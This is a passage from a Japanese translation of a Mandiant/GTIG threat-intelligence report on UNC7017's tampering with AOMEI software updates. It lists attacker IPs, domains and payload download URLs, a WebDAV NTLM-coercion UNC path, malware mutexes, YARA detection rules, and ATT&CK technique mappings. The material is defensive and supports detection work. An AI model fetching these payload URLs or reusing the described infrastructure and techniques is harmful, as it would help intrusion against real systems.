    f2a7d0a4c8613a9cdd31ede6131b27040c0571ca97970b245a710191806d7ac4

    表4: 設定ファイル

    ネットワーク指標

    種別

    指標

    コンテキスト

    IPアドレス

    8.210.84.56

    WebDAV NTLMの標的サーバー、Adaptix C2

    IPアドレス

    8.218.65.184

    過去のSHINYROAD C2サーバー。使用ポートは41397 と 443

    IPアドレス

    47.239.60.117

    二次インフラ

    IPアドレス

    96.126.191.98

    whitelist.iniに設定されたアローリストIP(2026年6月22日に観測)

    ドメイン

    promotion.storage-data.com

    ステージ2ドロッパーのステージングドメイン

    ドメイン

    aomei.storage-data.com

    ステージ3ペイロードのステージングサーバー

    ドメイン

    storage-data.com

    脅威アクターのドメイン

    ドメイン

    serv.oss-cn-hongkong.aliyuncs.com

    Alibaba Cloud OSSバケット(2026年4月/5月のステージング)

    URL

    https://promotion.storage-data.com/download/abpopup/upgrade-now.zip

    ステージ2ドロッパーのダウンロードURL

    URL

    https://promotion.storage-data[.]com/config/component.zip

    SHINYROADペイロード

    URL

    https://promotion.storage-data.com/config/whitelist.ini

    標的IPアローリストのエンドポイント

    URL

    https://promotion.storage-data.com/config/en.zip

    ステージ3 SHINYROADペイロードのURL

    URL

    https://storage.googleapis.com/aomeiupdate/upgrade-now.zip

    7月20日のGCSステージングURL

    URL

    https://storage.googleapis.com/aomeiupdate/component.zip

    7月20日のGCSコンポーネントURL

    UNCパス

    \\8.210.84.56\DavWWWRoot\campaign\24hour-flash-sale.html

    WebDAV NTLM強制送信用リソース

    表5: ネットワーク指標

    ミューテックスとスケジュールタスク

    • ミューテックス:Global\{F9E6E3C0-E11A-4F85-9944-AF4AD6E05883}

    • 共有メモリマッピング:Local\963d3c60-d406-4ad6-aa1e-dc8e45061ccf

    • スケジュールタスク:\RadminComponentRuntime

    Google Security Operations(SecOps)

    Google Security Operationsの顧客は、これらの広範なカテゴリルールなどを、「Mandiant Frontline Threats」「Mandiant Hunting Rules」「Applied Threat Intelligence – Curated Prioritization」の各ルールパックで利用できます。このブログ記事で取り上げた活動は、Google Security Operationsでは次のルール名で検知されます。

    • Explorer Launching Cmd With Powershell Start Process Command

    • Suspicious Process Invoking Dllhost Clsid Invocation

    • ATI Active Breach Rule Match for File IoCs

    • ATI High Priority Rule Match for Ip Address IoCs

    • ATI Medium Priority Rule Match for Ip Address IoCs

    • Copy System Binary

    • System32 Binary Copied to Non-Standard Directory

    検知

    YARAルール

    rule G_APT_Downloader_CROSSROAD_1
    {
    	meta:
    		author = "Mandiant"
    		desc = "Detects obfuscated and masquerading UNC7017 CROSSROAD downloaders targeting AOMEI software update mechanisms"
    	strings:
    		// Masquerading & Metadata
    		$meta_typo = "AOMEI Update Compent" wide
    		$meta_co = "AOMEI International Network Limited" wide
    		$meta_ver = "8.2.5.0" wide
    		$meta_orig = "upgrade-now.exe" wide
    		$meta_name = "upgrade-now" wide
    		// Embedded Decompression & Downloader Artifacts
    		$miniz1 = "archive is too large" ascii
    		$miniz2 = "failed finding central directory" ascii
    		$miniz3 = "unexpected decompressed size" ascii
    		$whttp1 = "WinHttpCrackUrl" ascii
    		$whttp2 = "WinHttpSendRequest" ascii
    		// Obfuscation & Scheduled Task Artifacts
    		$task1 = "RadminComponentRuntime" wide
    		$task2 = "Radmin Component runtime checkable." wide
    		$flag = "--runtimechk" wide
    		$sob1 = "IsCurrentIpWhitelisted._sob_enc" ascii
    		$sob2 = "DownloadFileFromUrlA._sob_enc" ascii
    		$sob3 = "WinMain._sob_enc." ascii
    		$obf_key = "_sob_key" ascii
    	condition:
    		uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and filesize < 5MB and (
    			(($meta_typo or ($meta_co and ($meta_orig or $meta_name or $meta_ver))) and
    			 any of ($miniz*) and
    			 any of ($whttp*)) or
    			(2 of ($sob*) and ($task1 or $flag)) or
    			($obf_key and $task1 and $task2 and any of ($sob*))
    		)
    }
    
    rule G_APT_Backdoor_SHINYROAD_1
    {
    	meta:
    		author = "Mandiant"
    		desc = "Detects the SHINYROAD BlkScrDl.dll COM-staging loader and RuntimeComponent.dll PocketPy engine"
    	strings:
    		// Shared SHINYROAD artifacts (shared memory section and mutex)
    		$shm = "Local\\963d3c60-d406-4ad6-aa1e-dc8e45061ccf" ascii wide
    		$mtx = "Global\\{F9E6E3C0-E11A-4F85-9944-AF4AD6E05883}" ascii wide
    		// BlkScrDl.dll loader: config.zip staging and COM server registration
    		$ld1 = "%sconfig.zip" ascii
    		$ld2 = "%scsvc\\RuntimeComponent.dll" ascii
    		$ld3 = "libBlkScrDl.dll" ascii
    		$com1 = "Software\\Classes\\CLSID\\%s" ascii
    		$com2 = "Software\\Classes\\AppID\\%s" ascii
    		$com3 = "%s\\InprocServer32" ascii
    		// RuntimeComponent.dll embedded PocketPy engine
    		$rc1 = "libRuntimeComponent.dll" ascii
    		$rc2 = "metadata.dat" ascii
    		$rc3 = "_pyio_compat" ascii
    		$rc4 = "_pyio_struct" ascii
    		$rc5 = "%sdemo_srv.log" ascii
    	condition:
    		uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and filesize < 5MB and (
    			($shm and $mtx) or
    			(($shm or $mtx) and (2 of ($ld*) or 2 of ($rc*))) or
    			(2 of ($ld*) and 2 of ($com*)) or
    			($rc1 and $rc2 and any of ($rc3, $rc4, $rc5))
    		)
    }
    
    rule G_APT_Backdoor_SHINYROAD_2
    {
    	meta:
    		author = "Mandiant"
    		desc = "Detects compiled PocketPy bytecode payloads associated with SHINYROAD backdoors"
    	strings:
    		$pkpy_magic = { 4F 43 01 00 }
    		$proto1 = "mct3-handshake-v1" ascii
    		$script = "bootstrap_tcp_slim_v2_call_min.py" ascii
    		$jam1 = "JAM_BURST_PACKETS_MIN" ascii
    		$jam2 = "JAM_MIN_MS" ascii
    		$jam3 = "JAM_MAX_BYTES" ascii
    		$mod1 = "_pyio_struct" ascii
    		$mod2 = "_pyio_compat" ascii
    		$enc1 = "nh_enc" ascii
    		$enc2 = "encbody" ascii
    	condition:
    		$pkpy_magic at 0 and filesize < 500KB and (
    			$proto1 or
    			$script or
    			all of ($jam*) or
    			(all of ($mod*) and any of ($enc*))
    		)
    }
    rule G_APT_Launcher_ADAPTAGENT_1
    {
    	meta:
    		author = "Mandiant"
    		desc = "Detects UNC7017 ADAPTAGENT post-exploitation loader and sideloaded Adaptix payload (Nitro camouflage)"
    		ref = "https://cloud.google.com/blog/topics/threat-intelligence/investigating-ephemeral-supply-chain-tampering"
    		platforms = "Win"
    		rs1 = "14b31918075e6130b9123158743db0a81e2d7bfcf6d39731ee7d9200a98cd591"
    	strings:
    		// Sideloaded Masquerading & Camouflage
    		$camo_exe1 = "NitroPromotion.exe" ascii wide nocase
    		$camo_exe2 = "Nitro_Scan2PDFApp.exe" ascii wide nocase
    		$camo_dll1 = "Eztwain4.dll" ascii wide nocase
    		$camo_dll2 = "Nitro PDF Eztwain4" ascii wide nocase
    		$camo_ver = "14.10.1.0" ascii wide
    		$camo_copy = "Nitro Software, Inc." ascii wide
    		// NitroPromotion Loader & Staging Functionality
    		$load1 = "DownloadToLocalAppData" ascii
    		$load2 = "ExtractZipToDirectoryA" ascii
    		$load3 = "GetTempZipFileNameA" ascii
    		$load4 = "CreateScheduledTask" ascii
    		// Adaptix C2 & ADAPTAGENT Core Artifacts
    		$adapt1 = "Adaptix Crash Analyzer v1.0" ascii
    		$adapt2 = "Global\\{8d00c640-48d8-4440-a8e1-660fd37f572a}" ascii wide
    		$adapt3 = "\\\\.\\pipe\\%08lx" ascii
    		$adapt4 = "13ConnectorHTTP" ascii
    		$adapt5 = "9Connector" ascii
    	condition:
    		uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and filesize < 10MB and (
    			// Branch 1: ADAPTAGENT Sideloaded Payload (Eztwain4.dll)
    			(any of ($camo_dll*, $adapt1, $adapt2) and 2 of ($adapt*)) or
    			// Branch 2: NitroPromotion Masquerading Loader (NitroPromotion.exe)
    			(any of ($camo_exe*) and (2 of ($load*) or any of ($adapt1, $adapt2))) or
    			(all of ($camo_ver, $camo_copy) and any of ($camo_exe*) and any of ($load*))
    		)
    }

    MITRE ATT&CK手法

    戦術

    手法ID

    手法名

    観測されたコンテキスト

    リソース開発

    T1583.001

    インフラストラクチャの取得: ドメイン

    storage-data.comと、ペイロードのステージングおよびコールバックに使われたpromotion. / aomei.サブドメインの登録。

    リソース開発

    T1583.006

    インフラストラクチャの取得: Webサービス

    評価の高いステージングインフラとしてのAlibaba Cloud OSS(serv.oss-cn-hongkong.aliyuncs.com)とパブリックなCloud Storageバケット(aomeiupdate)の悪用。

    リソース開発

    T1608.001

    機能のステージング: マルウェアのアップロード

    各改ざんウィンドウの前に、攻撃者管理下のドメインとクラウドストレージ上へupgrade-now.zip、component.zip、en.zipをステージング。

    初期アクセス

    T1195.002

    サプライチェーンの侵害: ソフトウェアサプライチェーンの侵害

    リモートのAOMEI .ini更新設定ファイルの一時的な改ざん。

    実行

    T1059.001

    コマンド・スクリプティングインタープリター: PowerShell

    Nitro PDF/Adaptix C2ペイロードを実行する、非表示のPowerShell実行(-WindowStyle Hidden)。

    実行

    T1059.006

    コマンド・スクリプティングインタープリター: Python

    組み込みのPocketPyインタープリター(RuntimeComponent.dll / WNTestDll.dll)によるコンパイル済みバイトコードのインメモリ実行。

    実行

    T1559.001

    プロセス間通信: コンポーネントオブジェクトモデル

    BlkScrDl.dllがCLSID {21191641-0D7F-4CD9-9572-01AAE6E7851B}をインプロセスCOMサーバーとして登録し、Radminプロセスにcsvc\RuntimeComponent.dllを読み込ませる。

    永続化

    T1053.005

    スケジュールタスク/ジョブ: スケジュールタスク

    スケジュールタスク\RadminComponentRuntime(FamItrfc.exe --runtimechkを実行)と\NitroRuntime。

    防御回避

    T1574.001

    実行フローのハイジャック: DLL

    署名付きのFamItrfc.exeによるBlkScrDl.dllの検索順序ハイジャックと、Nitro PDFを装ったローダーによるEztwain4.dllのサイドロード。

    防御回避

    T1480

    実行ガードレール

    二次ペイロードを取得する前の、AOMEIディレクトリ部分文字列の検証と、外部IPリフレクションによるフィルタリング。

    防御回避

    T1036.005

    マスカレード: 正規のリソース名または場所との一致

    BlkScrDl.dllはRadminの正規の「ブランクスクリーン」ドライバーライブラリを装い、ADAPTAGENTローダーはNitro PDFツール(NitroPromotion.exe、Eztwain4.dll)を装う。

    防御回避

    T1027.013

    ファイルや情報の難読化: 暗号化/エンコードされたファイル

    SHINYROADのステージ2のPythonバイトコードは、config.zip内にChaCha20で暗号化されたmetadata.datとして格納されている。

    防御回避

    T1140

    ファイルや情報の難読化解除/デコード

    RuntimeComponent.dllは、HMAC-SHA256から導出した鍵とIVを用いたChaCha20で、metadata.datをメモリ内で復号する。

    防御回避

    T1070.004

    痕跡の削除: ファイルの削除

    --nitrod付きで生成された子プロセスによる、CROSSROAD(upgrade-now.exe)の自己削除。

    防御回避

    T1564.004

    アーティファクトの隠蔽: NTFSファイル属性

    CROSSROADは、ハンドルを閉じた時点で削除されるようファイルにフラグを立てる前に、主要な:$DATAストリームを:wtfbbqという代替データストリームにリネームする。

    認証情報アクセス

    T1187

    強制認証

    Notifycfg.ini内で設定された、UNCリソースを描画する不可視の1×1ポップアップによるWebDAV NTLM強制送信。

    探索

    T1016

    システムネットワーク構成の探索

    CROSSROADは、myip.opendns.com、o-o.myaddr.l.google.com、checkip.amazonaws.com、api.ipify.org、ifconfig.me/ip、icanhazip.comを使ってホストの外部IPを解決する。

    探索

    T1614

    システムの位置情報の探索

    IPから導出した国コードが"CN"(中国)の場合、CROSSROADは主要なペイロードの実行経路を中止する。

    探索

    T1082

    システム情報の探索

    SHINYROADは被害者のホスト名のフィンガープリントを取り、固有のエージェント識別子を導出する。

    探索

    T1033

    システム所有者/ユーザーの探索

    SHINYROADは、ログオン中のユーザー名を固有のエージェント識別子とC2の鍵導出に組み込む。

    コマンド&コントロール

    T1105

    外部からのツール転送

    CROSSROADはcomponent.zip / en.zipを%TEMP%\svc<random_hex>.tmpにダウンロードし、%LOCALAPPDATA%\Radmin\に展開する。

    コマンド&コントロール

    T1571

    非標準ポート

    SHINYROADはTCP 41397上で独自バイナリC2を使用し、ADAPTAGENTはTCP 6800上でビーコンを送信する。

    コマンド&コントロール

    T1573.001

    暗号化チャネル: 共通鍵暗号

    ハードコードされたハンドシェイクキーで暗号化された独自バイナリC2ストリームが、エージェントIDから導出したホスト固有の鍵へ切り替わる。

    コマンド&コントロール

    T1001.001

    データの難読化: ジャンクデータ

    SHINYROADは、ネットワークシグネチャのマッチングを妨害するため、ランダムなジャンクパケットを生成する(トラフィックのチャフィング)。

    コマンド&コントロール

    T1219.002

    リモートアクセスツール: リモートデスクトップソフトウェア

    SHINYROADバックドアとともに、正規のFamatech Radmin 3.xサーバーコンポーネントを被害ホストに展開。

    表6: MITRE ATT&CK手法

    謝辞

    GTIGとMandiantは、ManageEngine Threat Analysis Lab(METAL)の研究チームに感謝します。この活動を最初に発見し、テレメトリを積極的に共有し、継続的に協力していただきました。この協力は、両社共通の顧客基盤とソフトウェアエコシステム全体の保護に役立っています。

    掲載カテゴリ

    翻訳元: https://cloud.google.com/blog/topics/threat-intelligence/investigating-ephemeral-supply-chain-tampering/

    本記事は cloud.google.com の記事を翻訳・要約したものです。